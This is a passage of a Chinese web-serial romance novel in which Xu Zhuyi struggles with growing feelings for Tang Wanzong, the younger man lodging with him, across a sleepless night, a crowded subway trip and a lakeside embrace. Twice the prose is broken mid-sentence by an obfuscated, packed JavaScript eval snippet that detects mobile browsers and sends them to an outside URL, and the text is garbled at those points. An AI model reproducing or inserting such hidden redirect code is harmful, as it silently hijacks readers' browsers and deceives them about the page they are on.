他只好在床上滚了一圈,滚进被子里,把自己整个闷住,叹了一大口气。 哎…… …… 为什么会这样呢。 被子慢慢往下拉,许逐意面无表情地对着天花板,又捞过一旁的手机。 开始搜索平时几乎不看的爱情题材相关的电影。 还有小说。 【你喜欢上谁了?】 郑子蓓的消息这时候姗姗来迟。 ……什么“‘喜欢’上谁”。 他没有喜欢上汤挽宗。 他只是,把汤挽宗当成需要疼爱照顾的一个弟弟罢了。 汤挽宗看起来那么单纯那么乖,还比他小整整五岁……怎么想都觉得不合适,好像在犯罪。 而且喜欢一个暂时借住在自己家里,不知道什么时候会走,未来也不一定能有交集的人,这不好。 不好,吧。 自己问这个问题只是因为…… 只是因为他感觉有点奇怪而已。 许逐意也不知道自己到底在想什么,切屏回复。 【好奇你当时的感受而已】 【没什么,不用理我了】 回罢,刚要切回去借助电影研究,郑子蓓就又发来。 【每天都想见她、每时每刻都想着她、想到她见到她和她肢体接触会心跳加速、会忍不住想碰她】 【应该是这样子吧】 【所以是谁啊?】 许逐意:“……” 【谁也不是】 许逐意不想聊了。 【我睡了】 他拒绝再被郑子蓓骚扰的可能,把话题就此斩断。 但对着屏幕沉默几秒,拇指还是很诚实地双击点开了郑子蓓那条细节描述感受的消息。 放大后的句子被拆解成一个一个的字,看进眼里。 看完,许逐意去小阳台抽了一支烟,又洗了个澡,感觉有些冷静下来之后,才打开一部评分很高的爱情电影,开始研习。 不知不觉从天黑看到天亮。 感觉到天亮的时候许逐意才回过神,发现自己竟然因此熬了个通宵。 手机上不知是第几部作为研习材料的爱情电影进度条连一半都还没有到。 屏幕上显示着主角说的一句话—— 小题大做。 晨曦的阳光将屋内的昏暗驱逐,通宵的疲惫逐渐漫上关节骨骼。 许逐意把电影暂停,放下手机,打算出去倒杯水,然后回来睡觉。 毕竟难解的问题有时不是一直钻研就能想明白的,特别是感情。 休息很重要,看了一晚上的电影,他需要用睡眠让自己的大脑最后、最大程度地再次冷静一下。 这么想着,许逐意推开房门。 幽魂一样穿过客厅,幽魂一样给水壶灌满,按下开关加热。许逐意疲惫地靠在岛台台沿,反思自己可能真的有点反应过大了。 一个晚上过去,脑子也不像昨天那样混乱,情绪缓过劲来,告诉他心跳加速而已,并说明不了什么。 弟弟就是弟弟。弟弟就是弟弟。 借住完就会走的。 走了就不知道什么时候能回来。 许逐意闭着眼睛,边在心中理性地分析、提醒自己,边等水烧开。 深秋的清晨寒气刺骨,即使有阳光也显得稀薄。落地窗窗帘没有拉,未开灯的周围呈一种朦胧之感,亮得不彻底,但也说不上暗,整个世界都很安静。 许逐意站了会儿觉得冷,自顾自把自己抱紧。 水慢慢越来越烫,发出“咕噜咕噜”的动静,一声很轻很轻清脆的声音混在里面。 他迟钝地没有发现。 直到身体感觉被一股热源笼罩。 “哥哥怎么醒了?”汤挽宗低哑的声音自头顶落下。 通宵熬夜让大脑很难保持原有的效率思考,许逐意睁开眼,最先映入眼帘的是少年替他披上肩膀的毛毯,还有汤挽宗穿着睡衣的身体。 “……我没睡。”许逐意没敢抬头,垂着脑袋把脸转到一旁,顺便去瞥墙上的挂钟,“你怎么醒了?” 现在才凌晨六点。 “上厕所。”汤挽宗声音中带着很明显的困倦,语气也因此显得懒洋洋,“通宵熬夜了吗?” “嗯。” 水开了,烧水壶发出“嘀嘀”的提示音。 许逐意刚想转身去倒,余光里就已经伸过一只胳膊,越过他的肩膀拿起水杯。 他眼睫微颤,默不作声地挪了挪身子,往旁边让开点。 汤挽宗对他的小动作并没有什么反应,替他倒好了温度适中的热水,动作熟练得好像在脑海中排练过无数遍。 然后又给自己倒了一杯,仰头在喝,下颌绷成一条清晰锋利的线。 许逐意拢了拢身上的毛毯,看他一眼,没忍住搭话:“……你不是起来上厕所吗?” 仰头喝水的人好像顿了一下。 “喝完去上。”汤挽宗把喝干净的水杯冲过,倒着放到沥水架上,朝他看来,“哥哥打算什么时候睡觉?” 无法避免地还是直视到了这张脸。汤挽宗头发因为刚睡醒还显得有些乱,没理过的刘海把眉眼遮得七七八八,但是因为身高差的关系,许逐意依然可以看清楚那双总是湿漉漉的眼睛。 黑羽似的睫毛半垂下来,正盯着自己。 “……现在。”他说完,错开目光,伸手去拿过那杯汤挽宗给倒的水,抓紧毛毯扭头就走向卧室。 “砰”地一声把门关上。 再将背靠到门板上。 开水的温度透过硅胶的保护套传到掌心,许逐意目光落在平静的水面,低头抿一口,唇瓣和鼻息在水面上碰出一圈圈细小的纹路。 他又空出只手去捏因为头发理得短而毫无遮挡的耳廓,有些分不清那上面的热源到底来自开水,还是自己遵循本能反应的身体。 手机震动了一下。 汤挽宗拿起来,打开,看见卓宣给自己发来消息。 【狗东西,你是不是背着我们谈恋爱了?】 “……”很无厘头,但不难想到可能是杨绵跟他两个人讨论了什么。 汤挽宗回想起自己之前在训练室睡着说梦话,被杨绵听见的场景。 队里这几个没边界感的家伙真烦人。 他敲字回复。 【又连跪打到天亮这种事不用专门发条消息通知我】 【。。。。。】 【汤挽宗你大爷】 【我杀了你】 白纸一样好懂的人。 卓宣一破防就开始各种语言挑衅,汤挽宗懒得再理他,扔掉手机回到床上,满脑子都是方才晨光熹微的厨房中,许逐意摇摇欲坠靠在那里的画面。 因为一宿没睡而显得特别困倦,瘦得仿佛风轻轻一吹就会摔倒。怕冷却不知道多穿件外套,只知道用胳膊把自己抱紧。 他闭上眼,将许逐意给他铺的被子拉过头顶,深吸一口气。 手机震了片刻又停,房间内最终归于寂静。 喝下的热水在胃中仿佛还很滚烫,他指尖停留的却是为人披毛毯时无意从许逐意肩膀擦过而感受到的冰凉。 汤挽宗又摸过手机。 他没看卓宣发来的消息,而是点入许逐意的头像。手指停留在输入框上,键盘被拉起,又落下。 脑海中闪过许逐意手指触碰自己脸颊时的触感,闪过男人迅速逃开的目光和涨红的脸,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962721|190590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有生硬冰冷的声线。 许逐意的朋友圈偶尔会发一些风景,还有自己的照片。 汤挽宗最后还是没有打字发送什么消息,只是数不清第几次地将那些内容从头翻到尾,然后息屏,重新闭上眼。 这一觉许逐意睡得很沉,可能是因为通宵熬夜导致。 醒来的时候天已经开始黑了,他直接错过午饭。 看到手机上显示的下午五点时许逐意下意识翻身起来,不知道汤挽宗有没有自己先吃点什么,是不是饿着肚子一直在等他。 结果因为起得太急,身体大概没来得及苏醒,下床的时候许逐意趔趄了下差点摔倒,好在眼疾手快地扶住了衣柜。 ……人果然还真是不能熬大夜。 洗漱完走出房间,许逐意直奔书房。汤挽宗在里面打游戏,听见他的脚步声回头,叫了他一声:“哥哥。” 然后不等许逐意问,就很乖地报备:“我中午把昨天剩的生日蛋糕吃掉了,还吃了一点其他的。” “……哦,好。”许逐意悬着的心放下,看着他报备完又转头继续打游戏。 他慢慢地回过神,问汤挽宗:“几点吃的?” 汤挽宗头也不回道:“十二点多吧。” 那到现在也该准备吃晚饭了。 沉沉的一觉睡过,乱七八糟的思绪彻底冷静,许逐意不再像昨天那样很慌乱,感觉又能平常心地相处了,于是接着问:“现在饿不饿?” “还好。”汤挽宗杀了个人,正在回城,抽空又转过来看他,目光扫过许逐意身上单薄的睡衣,“哥哥多穿点,太阳下山了很冷的。” 听见英雄回城落地的声音,又收回视线,买装备离开泉水,“累的话可以再回去睡一会,不用担心我。” “……不累了。”许逐意说着,干脆走进去在他旁边坐下,看他打游戏,“打完这把吃饭吧。” “好。”汤挽宗从善如流地说,“今晚吃什么味道的拌饭?” 问的语气听上去很期待。 汤挽宗从天亮的时候就开始在书房打游戏,一直打到现在,天暗下来,但是书房没开灯,只有夕阳的光将周围勉强照亮。 得益于电脑屏幕,许逐意才能看清汤挽宗的脸。 许逐意没有马上回答汤挽宗关于拌饭口味的这个问题,而是看着汤挽宗操纵一个他不认识的英雄走中路,靠敏捷的走位躲掉对方好几个技能,然后行云流水地发表情,等被挑衅到上头的对面中单冲上前来,随即操纵着仅剩丝血的己方英雄完成击杀。 杀完准备躲进草丛回城,按下B了却又取消。许逐意刚问“为什么取消”,就看见对面半血的打野在屏幕中出现。 汤挽宗耐心地在草丛中走来走去蹲守,等他走入攻击范围,闪现躲伤害、秒放技能控制,一瞬间再次造成击杀。 “因为看见他过来了。” 如果完成这波操作的是自己,许逐意恐怕已经从位置上站起来了,但汤挽宗只是很平常地转过头,用冷静的语气跟他简单分析,“小地图上这里有个眼,他的头像刚刚闪过去了一瞬。我残血击杀了他队友,他就会想过来收掉我的人头,不过因为不够聪明,所以被我反杀了。” “……这样啊。”许逐意似懂非懂地点点头。 “哥哥还没回答我的问题呢。”汤挽宗这下真的回城了,又朝他看过来。 许逐意还沉浸在刚才那波极限而精彩的操作中,猝不及防跟汤挽宗对上视线,蓦地呛到,咳嗽起来,扭开脸。 汤挽宗顿了下,没再看他,默默地重新专注于游戏。 许逐意咳完了,耳朵有点发热。他反思自己是不是反应过大,还是说依然不足够理智和冷静。 擦过因咳嗽而不小心沾到些唾液的嘴角,许逐意随着擦拭的动作又迅速瞥了集中游戏的汤挽宗一眼,另一只搭在座椅上的手慢慢捏紧了。 沉默少顷,他听见自己说:“你……要不要跟我一起去龙祥湖边走走?” 17.近距离 话音刚落,许逐意就看见汤挽宗的技能被对面躲开,不知道是真放歪了还是故意的。 然后敌方英雄抓住破绽,把垂死挣扎的汤挽宗人头斩下,屏幕变灰。 “……不吃晚饭了吗?”汤挽宗这次灰屏没朝他看过来,边打开商店买装备边问。 “去那边边逛边吃点。”许逐意其实刚说完就有点退缩,但又硬着头皮继续,“……哥请客,走吗?” 汤挽宗倒是答得毫不犹豫:“走。” 甚至直接上票投降。 许逐意马上说:“不用着急,等你打完这把。” 而游戏界面,汤挽宗的投降也理所当然地被全票否决了。 “那我打快一点吧。”汤挽宗说。 许逐意其实想再说一遍“不用急”,但话到嘴边又憋回去了。 实际上英雄联盟这种讲究团队合作的游戏,汤挽宗一个人说打快一点并没有什么用,除非是那种低端局,他个人能力高于局内所有人一大截的情况。 但这种大家水平都不错的高端局,说要加速简单,操作起来是很难的。 不过说出“快一点”这种大话的汤挽宗本人倒是肉眼可见地更认真了,不再跟许逐意说话。他一声不响地操作,按键鼠的手指简直快出残影,一秒钟能切好几次屏。 许逐意在一旁看着只觉得真吓人。 能把这游戏打得厉害的人是不是一定要手指也这么有劲才行? 回想起自己的三脚猫操作,许逐意感觉自己的手速跟汤挽宗一比,简直像自不量力的乌龟挑战反应超敏捷的兔子。 ……之前夸下海口的Solo有机会赢吗? 这个想法不自觉地在脑中浮现,许逐意想了两秒,又摇摇头。 汤挽宗又不是什么实力超群的职业选手,路人玩家而已,自己还没挑战就气馁了这怎么行。 投降认输给小五岁的弟弟也太有失尊严。 许逐意默默在心中给自己打起气,可以的,可以的,还没打完汤挽宗的电脑里就传来一声“VICTORY”。 啊。他回过神,只见眼前的少年已经站了起来。 “走吧?”汤挽宗低头看自己,眼睛里有几分显而易见的期待。 “……嗯。”许逐意抿着唇起身。 两人一前一后走出书房,各自回了自己的房间换衣服。 出门的邀请其实是许逐意嘴比脑子快的一时兴起,他也没想到汤挽宗会答应得这么毫不犹豫。 但事已至此,考虑到这是自己第一次跟汤挽宗出门吃饭,许逐意在衣柜前犹豫许久,还是选择了要风度不要温度的穿搭。 难得的出行,也不知道还有没有下次机会了,所以尽量留下点美好的回忆吧。 换好衣服推门出去,只见汤挽宗换上了被捡到那天身上穿的那套衣服,棉质的浅色格子衬衫在最里面,外面一件深色毛衣。 不等人开口,许逐意就皱了眉说:“这样太冷,我再给你拿个外套吧。” 然后又钻进房间里。 “那哥哥这样穿不冷吗?”汤挽宗接过许逐意给挑的灰色加绒厚外套,目光却停留在他身上,有些犹豫地开口。 许逐意看看自己身上衣摆刚到腰线的短皮衣,习惯地说:“不冷。” 然后又推推汤挽宗,态度坚持:“穿吧,穿好走了。” 汤挽宗看着他沉默几秒,还是没再说别的,乖乖套上外套,又戴好鸭舌帽与口罩,跟在许逐意身后走到玄关换鞋。 因为大概知道了汤挽宗无处可去的原因并非被什么黑恶势力追杀,再看到少年如此认真地佩戴帽子和口罩遮掩,许逐意难免多问一嘴:“不戴帽子口罩,其实也可以的吧?” 电梯里,汤挽宗露在外面的两只眼睛看着他,沉默几秒,摇摇头。 “你爸爸难道在到处找你吗?”许逐意压低声音问。 汤挽宗又摇摇头。 那为什么要坚持戴着鸭舌帽和口罩呢,不闷吗? 许逐意看着汤挽宗,依然有点疑惑,但没有继续问了。 可能汤挽宗有自己的理由吧。 此刻正值晚高峰的点,地铁站人来人往,显得有些拥挤。许逐意公寓所在的小区坐四站便是龙祥湖,龙祥湖边上又有本市最大的一个综合体,因此更是人山人海,上车的时候连位置都没有。 好在汤挽宗个子高,扎在人群中也依然显眼,倒是不担心一下子找不到人,但许逐意还是在上车的时候隔着袖子拉住了他的手腕,害怕走散。 ……是不是该买辆代步车了呢。 和汤挽宗一起被下班或出行的人群挤到车厢的角落里时,许逐意这样想。 一直没买倒不是买不起,只是之前他没有这个想法罢了,觉得有个房子就够活。 地铁关门启动,车厢内的人们像被挤在罐头里的金枪鱼,随着惯性晃来晃去。 许逐意习惯性地把自己怼在厢壁上,避免跟着惯性摇晃,汤挽宗却似乎很有自信地两手插兜站在他面前,结果在启动的瞬间没站稳,一个趔趄,眼看着要往边上栽去。 他眼疾手快地一把将人捞过。 “站稳扶好。”许逐意示意他抓住旁边的扶杆。 汤挽宗闷闷“哦”一声,依言照做。 周边都是人,他们得以喘息的空间只有一小隅,尽管汤挽宗已经很体贴地留出了一些距离,但许逐意低头想看手机的时候,才发现他脑袋似乎都隐约要碰到少年的胸膛了。 这个发现让他耳朵无法控制地瞬间升温,许逐意不敢再看手机,但也不敢抬起头,只好就垂眸看着前方,目光落在汤挽宗胸前的衣服上,大气不敢出。 汤挽宗也不说话,下巴处的口罩偶尔会不小心扫过他头顶,很痒。许逐意感觉自己好像隐隐约约能闻到一股很淡的香气。 不确定是不是汤挽宗身上的,但也不敢凑近闻确认一下就是了。 耳边是周围陌生人或聊天或看视频嘈杂在一起的声音,他却只能听见自己愈来愈快的心跳。地铁到站,人下去又上来,然后重新启动。 整个车程似乎一秒的喘息空间都没有,甚至人群越来越挤,余光里汤挽宗握着扶杆的手也越来越用力,青筋隐隐地在手背上鼓起。 终于报站到龙祥湖,车厢门开的瞬间许逐意就像濒死的鱼,迫不及待从岸上跳回水里汲取氧气。 “哥哥。”身后传来汤挽宗叫他的声音。 回头才发现自己慌慌张张差点把人走丢了,汤挽宗正隔着好几个人努力地往他的方向挤。 许逐意停下来,定了定神,朝他伸出手。 汤挽宗下意识往他手腕的地方抓,但许逐意躲了一下。< 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离开了逼仄的环境,两个人之间恢复平常的距离,并肩而行时两肩之间也隔了有半米。 差不多走到综合体附近,望着琳琅满目的店铺,许逐意问汤挽宗:“想吃什么?” 这附近什么都有。 有可以进去坐着吃的餐馆,也有可以边走边吃的炸串、糖葫芦,奶茶店也是走几步就有一家,还有各种面包甜品、本地特产糕点之类的作坊。 “哥哥想吃什么?”汤挽宗不答反问。 许逐意其实什么都可以。 他食量不大,对食物的要求也不高,能填饱肚子就行,所以闻言没有马上回答,而是思考汤挽宗应该会喜欢吃什么。 也许是看出了他的心思,几秒的沉默后汤挽宗就体贴地亲自给了他答案:“我想喝奶茶。” “走吧。”许逐意马上就说,“哪个牌子的?” 汤挽宗说了一个品牌名,又道:“要珍珠奶茶。” 许逐意不爱喝甜的,平时都喝咖啡比较多,于是只买了一杯大杯的热饮,按照汤挽宗的要求点的五分甜。 奶茶递到汤挽宗手里,他看少年拉下口罩吸入,腮帮子马上圆圆地鼓起。 眼前这人真的只是个十九岁的小孩子,许逐意突然对此有很深刻的认识。 刚成年,虽然长得高高大大,但还是嗜甜的年纪。 “还想吃什么?”许逐意挪开盯着汤挽宗看的视线,又问。 “我说一个了,轮到哥哥说一个。”这次汤挽宗的话术用得很聪明。 许逐意只好想了想,说:“那吃寿司吧。” 但想吃的寿司店在商场里,而且要排号。 许逐意取了号后拉着汤挽宗在附近又逛了两圈,给汤挽宗买了一根草莓的糖葫芦,自己买了杯拿铁捧在手中取暖。 逛回店门口的时候,手里东西吃喝得差不多,正好叫号到他们,于是准备往店里走。 许逐意抬头,刚要问汤挽宗想吃点什么,还没开口,身后就突然传来一句:“狗东西,你在这里做什么?!你——” 没来得及听人把话说完,也没来得及回头确认来者是谁,许逐意猛地被汤挽宗拉住手腕,跑出去。 18.彩虹棒棒糖 上一次这么激烈的奔跑,好像已经是许逐意初中的事了。 上了高中后除跑操外几乎没有时间运动,他恍惚中就想起初中的某天放学,回家路上碰到一条恶狗在纠缠一个很小的孩子。 当时十三岁的许逐意没多想,朝恶狗丢了石头,拉起小男孩的手就狂奔。 那是许逐意印象中至今为止跑得最激烈、最快的一次,因为害怕有可能会被恶狗追上,他比篮球赛时跑得还要快。 快是对那日印象深刻的原因之一,还有一个原因是那个被狗吓得不敢动的小男孩竟跟着他跑全程都没掉队,甚至没绊到一点。 “你真能跑。”把狗甩掉,在大街上停下来,许逐意喘着气,面无表情给小男孩竖了个大拇指。 男孩的小圆脸上全是灰土,细胳膊细腿看上去营养不良,身上衣服又旧又破,皮肤还有几处淤青和擦伤。 明明他面对恶狗时都还算镇定,听了许逐意的称赞,却突然“哇”地一声哭了。 豆大的泪珠从那双圆溜溜的大眼睛里成串地往下掉,许逐意被吓得红了脸,赶紧收起自己的动作,不知所措地弯下腰:“哭什么?” 过路的人听了动静还纷纷侧目,许逐意怕被误会是自己欺负了这孩子,问句得不到回答,他只好干脆蹲下,跟小孩平视。 没有对待小朋友的经验,许逐意不太熟练地放轻声音哄:“那什么……你别哭了,好不好?哥哥给你买糖吃。” 可能糖果是孩子情绪的万能镇定剂,小男孩真就慢慢地停下来,不哭了。 泪汪汪的眼睛巴巴盯着许逐意,等他动作。 放学回家的耗时无奈被延长,回去后父亲大概又会生气,然后会跟母亲吵架,许逐意想到就头大。 但眼前这灰头土脸的小孩又看起来着实可怜,救都救了,就这么放他不管的话许逐意于心不忍,他叹口气,伸出手,继续轻声细语道:“想吃什么糖果?” 个头堪堪到他胸口的孩子犹豫了下,乖乖把小手放进许逐意掌心,任许逐意带着走到路边的小超市,抿嘴指了指店门口的彩虹色棒棒糖。 许逐意买了两个,都塞到男孩手里。 “回家吧。”他揉揉男孩的小脑袋,“知道自己家在哪吗?” 男孩吮着棒棒糖一角,抬眸看着他点点头。 “那就好,自己回去吧。”许逐意把跑乱了的书包重新背好,“哥哥也要回家了。” 他说完就走了,没再回头看过小男孩一眼。 这种萍水相逢许逐意不觉得会有再见的可能。 但事实是后来有段时间,他经常能在校门口看见这孩子游手好闲地徘徊。 而且看到他就不动了,用那天一样的巴巴的眼神看着他,等许逐意请他吃棒棒糖。 得知此事的郑子蓓还调侃他,“你这跟被流浪狗缠上有啥区别。” 许逐意也觉得没区别。 所以某天他忍不住问小男孩,“你为什么每天都等在我学校门口?” 小男孩吃着糖,圆滚滚的脸颊随吮吸的动作一动一动,用无知的眼神看他,不说话。 许逐意也不知道他是没听懂还是装傻。 但又觉得每天放学都能看见这个可爱的小东西并不是件坏事,既然沟通不了,那就放弃沟通,反正他也不是很擅长。 于是这种放学请小孩吃糖的日子在许逐意的纵容和默许下,就这样持续了一段时间。 然后在某个平常的放学日,许逐意走到校门口习惯性张望,却没看见等着的男孩。 从那天后再没见过。 ——也不知道那个小男孩怎么样了。 突然回忆起这段往事,在混乱的奔跑途中,这个念头无意识闪过许逐意脑海。 汤挽宗带着他似乎跑了快一条街,已经从最初的综合体旁边跑到了湖边一个比较偏的位置,周围行人少了,两人停下来喘气。 这次也是不等许逐意问,汤挽宗就主动开口解释:“……刚刚,看见我爸爸了。” 那个把汤挽宗打伤,还发威胁短信的人? 许逐意顿了下,下意识环顾四周,再次确认处境是安全的,再重新朝汤挽宗看去。 “他看见你了?”他喘匀气,小心地问。 由于远离街道,他们所在的这个地方光线并不太足,汤挽宗还背光,许逐意看不清他表情,只能看见少年沉默地点了点头。 这突然的插曲让原本祥和的约会氛围几乎散尽,汤挽宗不说话,许逐意也不知道他在想什么,目光落在面前人身侧握紧的拳头上。 他想了想,上前一步,伸手拉起。 潜意识告诉许逐意,弟弟现在或许需要一些安慰。 所以他这么做了。 “别怕。”许逐意平静地说,“已经甩掉了。” 但也不知道对方会不会追上来,汤挽宗拳头跑得有点凉,许逐意试图用自己掌心不多的体温去捂,又道:“要不回去点外卖吧。” 他看一眼旁边的景象:“反正湖也看到了。” 突然发生这种事,正常人哪还有再在湖边散步的心情。许逐意怕汤挽宗提心吊胆。 他其实很想再问“真的不用报警吗”。 但又觉得家家有本难念的经,汤挽宗只字不提报警一事,想必其中有原因。 也许曾经报过没用,也许家人觉得能挽回不愿意,也许各种。 沉默得有点久了,许逐意轻轻晃晃手里牵着的那只拳头,凑近了一点,想看清汤挽宗的脸,并叫他:“汤挽宗?” 这一声换来少年冷不丁的一句:“对不起。” 许逐意愣了一下,没懂汤挽宗为什么突然道歉,问:“怎么了?” “……散步,被打扰了。”汤挽宗垂眸,一动不动看着男人被光照亮的那张始终信任他、体贴他的面庞,嗓音因愧疚带上点哑,“对不起。” “没关系。”许逐意马上说,“我不介意这个。” 为了让面前的人能更好地感受到安慰,他搜肠刮肚,不大熟练地继续补充:“反正也只是因为想和你多相处相处才提出来散步的,回去一起吃饭,一样可以聊天。不是你的错,别自责。” 包裹着他拳头的掌心似乎稍稍地渗出一点汗,汤挽宗张了张嘴,想反过去安慰许逐意不要紧张,但没来得及说话,口袋中的手机就响了一下。 他拿出来看,果然是卓宣发来的。 【你莫名其妙跑什么啊!男朋友那么好看有什么不好意思的!?】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986960|190590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……”这脑子缺根筋的家伙。 “你爸爸发来的吗?”耳边传来许逐意关切的话音。 汤挽宗心底莫名其妙生出一丝烦躁,懒得搭理卓宣的消息,想把手机息屏收进口袋,杨绵又发过来,【你别理他,他今天出门少装了“说人话”的语言模块。】 看来这俩人是一块儿来的。 汤挽宗打字,想让杨绵管好卓宣,并识相地别再出现在他面前。 但内容还没打完,那边就又发来,【不过你反应这么大小心被哥哥看出来哦。】 差点让汤挽宗气笑出来,他把刚打好的字全删了。 这俩货他现在谁都不想理。 收了手机,转眸就是许逐意安安静静仰着正看他的脸,汤挽宗才想起来还没回复哥哥刚才的问题,从喉咙里挤出一声“嗯”。 这么回答,许逐意果然紧张起来,捏着他拳头的手指收得更紧,人也再次凑近。 汤挽宗便闻到男人身上那股淡淡的甜甜的香味,听许逐意说:“我们赶紧回去吧。” 骗人不好,特别是骗喜欢的人。 汤挽宗其实很明白自己在干一件错事,可每句谎言带来的甜头和许逐意的反应又总让他没办法迷途知返。 许逐意是个心很软的人。汤挽宗知道。 是个只要别人一示弱,就会善心泛滥的那种人。 他已经不会再轻易地当街大哭了,也不会像个不懂事的小孩一样只一味地要糖。汤挽宗把被许逐意包裹的拳头轻轻抽出来,趁男人愣住时反握住那双冷得可怜还要给他取暖的手,不说要回去,只低低道:“我就知道哥哥穿这么少肯定很冷的。” 被他抓住手的人瞬间僵住,许逐意暴露在路灯之下的耳朵在汤挽宗眼底涨红,“我不冷,”不知道好好照顾自己的人还在一本正经嘴硬,企图维持自己表面的风平浪静,“我本来就是体温偏低的那种人。” 哪来的一套胡说八道。 汤挽宗叹口气,从善如流地顺着胡说八道说:“是我热,需要哥哥的冰手降温。” “……你心情好点了吗?”男人似乎终于迟钝地发现话题被扯开,不顺着他说的聊了,语气重新带上关切,“现在回家吧?” 那双被牵着的手无意识带着汤挽宗的胳膊左右轻摆,汤挽宗看过许逐意红彤彤的耳朵、望着自己的眼睛,视线最后停留在那两瓣男人刚抿过而泛起粉红的唇上。 休假再过不久就要结束了。 许逐意……对他产生一些好感了吗? 风经过湖面,掀起刺骨的寒意。 许逐意等半天等不到汤挽宗的回复,不知道继续在这里呆下去是否会再次碰到汤挽宗不想碰到的人。 他试着抽了抽手,想把汤挽宗也拉到光里,好让自己看清少年此刻脸上的表情,可是拉不动。 于是有些困惑地朝人看去,欲再次开口询问,耳边却随着风传来少年低低的话音:“哥哥。” 许逐意:“嗯?” 风把树影吹动,光于是被切成不规则的许多块,混乱地、随机地出现在汤挽宗脸上,许逐意得以看清一瞬间那双深灰色的眼睛。 汤挽宗轻轻地,小心地问他,牵着他的手微微发抖:“……我可以抱抱你吗?” 19.不可控 问题的答案先于大脑思考地脱口而出,“可以。” 说完,许逐意就被汤挽宗轻轻地抱住了。 感受到少年怀里的体温,他才发现自己身子被冷风吹了整晚,居然变得有些僵硬。 汤挽宗抱他的力道不大,带着礼貌的分寸,但手掌又按在他肩背上,没有给他往后退的可能性。 汤挽宗为什么突然要抱他呢? 是因为不安吗? 许逐意胳膊直直垂在身侧,想法慢慢冒出来,像自动铅笔往一张素描白纸上慢慢地写。 八厘米的身高差与肩膀宽度的差距,汤挽宗抱他要稍稍地低头弯腰,余光里少年的黑发蹭到许逐意耳廓,痒痒的,洗发水香味混着洗衣液的气息,还有对方身上特有的一股香气扑面而来。 怀抱松开时带起凉丝丝的气流,许逐意感觉到自己脸烫得过分。他低下头,找不到自己的声音,只能听汤挽宗说:“我心情好点了。” 那就好。 许逐意点点头。 那现在回家吧。 还是说要去哪里。 像主控板发生短路的智能机器人,他点完头后机僵硬地转了转脑袋,挪动两步,又停下,不确定地朝汤挽宗看去。 因为头发理得短,这种时候许逐意甚至没有刘海当遮羞布,整个红彤彤的脸颊只要稍稍抬起一点,神态就被汤挽宗尽收眼底。 迷茫、羞怯、求助和动摇。 跟那双眼睛对视几秒,汤挽宗舔了舔唇,说:“想吃哥哥做的拌饭。” 所以,回家吧。 他给了许逐意确切的答案。 哦,那走吧。 许逐意把两只手都插进了外套口袋里,循来时路往地铁站的方向走去。 明明是应该思考“拌饭口味”的时刻,他却总想回头看汤挽宗有没有好好跟着,想“是不是应该并肩走,或拉着手比较好”。 因为重新往综合体的方向移动,人流量很快就又大起来。 不过想归想,许逐意还是没去做。他一次头也没回,两手插兜在前面走得飞快,最后要靠近地铁口时,还是汤挽宗从身后小心翼翼地拉住了他衣角。 “哥哥,走慢点好不好,”男孩声音轻轻的,低低的,请求一样说,“我要跟不上你了。” 许逐意喉咙一紧,这才把步调慢下来。 除去进站的短短几秒,汤挽宗抓着他衣角的手也一直没放开。两人像出门开玩笑地溜达一圈、什么目的也没有的傻瓜笨蛋,又坐上罐头般拥挤的地铁,吭哧吭哧回到家里。 进门后许逐意直奔厨房,取食材做拌饭,赶时间一般平时要看的电视剧也忘记开。 短短十几分钟他就端上两“盆”餐食,摆好铁勺示意洗完手的汤挽宗过来吃。 吃完汤挽宗洗碗,许逐意就进了房间里。 两人全程没再说一句话。 静得落针可闻的厨房里,汤挽宗慢慢捋好衣袖洗完碗,又去敲许逐意的房间门。 门等了会儿才开,开一条缝,露出许逐意一点点脑袋和一只眼睛。 “哥哥,打游戏吗?”汤挽宗问。 他垂在身侧的手不自觉搓搓裤缝。 耳边依然没能等来话音,许逐意沉默地摇摇头,薄薄的嘴唇抿起来,就又把门关上了。 汤挽宗站在门口有点不知所措。 口袋里手机这时响了一声,他拿出来看,是许逐意给他发消息。 【我有点累,先睡了。】 不知是不是有意和缓下僵硬的气氛,还附了个小猫耷耳朵的表情包。 汤挽宗先在裤腿上蹭蹭手心,才打字回复,【好,哥哥晚安。】 消息发送后他站在原地等了一会儿,许逐意没有回过来“晚安”。 汤挽宗把手机息屏,脸上的光暗下去,他边往书房走边想,今晚是不是又做得过头了。 毕竟这次许逐意的反应似乎比昨天还要大。 昨天都还跟他打了会儿游戏,现在却直接拒绝对话了。 但这种微妙的感觉,又不可能当成矛盾,直接说出来。 机械地在电脑前坐下、输入账号密码,挂上排位的排队。 汤挽宗对着电脑发了会儿呆,揉乱了自己的头发。 收到“晚安”,也确实说要睡觉,但许逐意很快又觉得自己这借口找得也太拙劣了。 他明明几小时前才刚睡醒。 怎么可能困得这么快。 然而直觉又很清晰地让他意识到,再跟汤挽宗近距离地呆下去可能会出事。 会发生一些不可控的事,一些许逐意认知之外的事,那种会让人手足无措、方寸大乱的事。 自我催眠好像不再有效,许逐意有点不知道该怎么办,所以下意识打算在想出办法来之前先尽可能地……给自己争取点思考的时间。 就这么胡思乱想着,许逐意又把观看历史里没看完的爱情电影找出来看,再次昼夜颠倒地看到了清晨,回过神来准备睡觉,睡前习惯性地出门倒水。 好在这次没有碰上汤挽宗。 